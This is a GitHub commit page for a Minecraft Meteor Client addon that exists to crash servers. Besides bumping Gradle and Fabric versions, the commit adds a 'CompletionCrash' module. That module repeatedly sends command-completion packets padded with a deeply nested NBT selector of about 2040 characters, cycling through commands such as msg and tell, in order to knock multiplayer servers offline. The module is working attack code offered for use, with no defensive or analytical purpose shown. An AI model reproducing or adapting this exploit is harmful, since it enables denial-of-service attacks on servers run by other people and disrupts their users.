Skip to content
This repository has been archived by the owner on Oct 25, 2024. It is now read-only.

Commit

Permalink
Merge pull request #1 from zImPatrick/completion
Browse files Browse the repository at this point in the history
  • Loading branch information
zImPatrick authored Mar 13, 2024
2 parents 8aed153 + 799ac59 commit c376b2f
Show file tree
Hide file tree
Showing 4 changed files with 80 additions and 5 deletions.
2 changes: 1 addition & 1 deletion build.gradle
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
plugins {
id 'fabric-loom' version '1.4-SNAPSHOT'
id 'fabric-loom' version '1.5-SNAPSHOT'
id 'maven-publish'
}

Expand Down
8 changes: 4 additions & 4 deletions gradle.properties
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
org.gradle.jvmargs=-Xmx2G

# Fabric Properties (https://fabricmc.net/develop/)
minecraft_version=1.20.2
yarn_mappings=1.20.2+build.4
loader_version=0.14.23
minecraft_version=1.20.4
yarn_mappings=1.20.4+build.3
loader_version=0.15.2

# Mod Properties
mod_version=0.6
maven_group=Wide-Cat
archives_base_name=meteor-crash-addon

meteor_version=0.5.5
meteor_version=0.5.6
1 change: 1 addition & 0 deletions src/main/java/widecat/meteorcrashaddon/CrashAddon.java
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ public void onInitialize() {

Modules.get().add(new AACCrash());
Modules.get().add(new BookCrash());
Modules.get().add(new CompletionCrash());
Modules.get().add(new ContainerCrash());
Modules.get().add(new CraftingCrash());
Modules.get().add(new CreativeCrash());
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
package widecat.meteorcrashaddon.modules;

import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
import widecat.meteorcrashaddon.CrashAddon;

import java.util.stream.Collectors;
import java.util.stream.IntStream;

// https://github.com/CCBlueX/LiquidBounce/blob/5593140550914f74ccd55ac0cd7b66da4d43f510/src/main/kotlin/net/ccbluex/liquidbounce/features/module/modules/exploit/servercrasher/exploits/CompletionExploit.kt
public class CompletionCrash extends Module {
public CompletionCrash() {
super(CrashAddon.CATEGORY, "CompletionCrash", "Crashes the server using command completions, ported from LiquidBounce");
}

private final String[] usedCommands = {
"msg",
"minecraft:msg",
"tell",
"minecraft:tell",
"tm",
"teammsg",
"minecraft:teammsg",
"minecraft:w",
"minecraft:me"
};

private int timer = 0;
private int currentCommandIndex = 0;

@Override
public void onActivate() {
timer = 0;
currentCommandIndex = 0;
}

@EventHandler
public void onTick(TickEvent.Pre tickEvent) {
timer++;

if (timer > currentCommandIndex * 20) {
if (currentCommandIndex > usedCommands.length - 1) {
toggle();
info("Done trying.");
return;
}

// send a packet
var commandToUse = usedCommands[currentCommandIndex];
info("Trying %s...", commandToUse);
var overflow = generateJsonObject(2040 - commandToUse.length() - "@a[nbt=]".length());
var partialCommand = commandToUse + " @a[nbt=" + overflow + "]";

for (int j = 0; j < 3; j++) {
mc.getNetworkHandler().sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand));
}

currentCommandIndex++;
}
}

@EventHandler
private void onGameLeft(GameLeftEvent event) {
toggle();
}

private String generateJsonObject(int levels) {
var data = IntStream.range(0, levels).mapToObj(x -> "[").collect(Collectors.joining());
return String.format("{a:%s}", data);
}
}

0 comments on commit c376b2f

Please sign in to comment.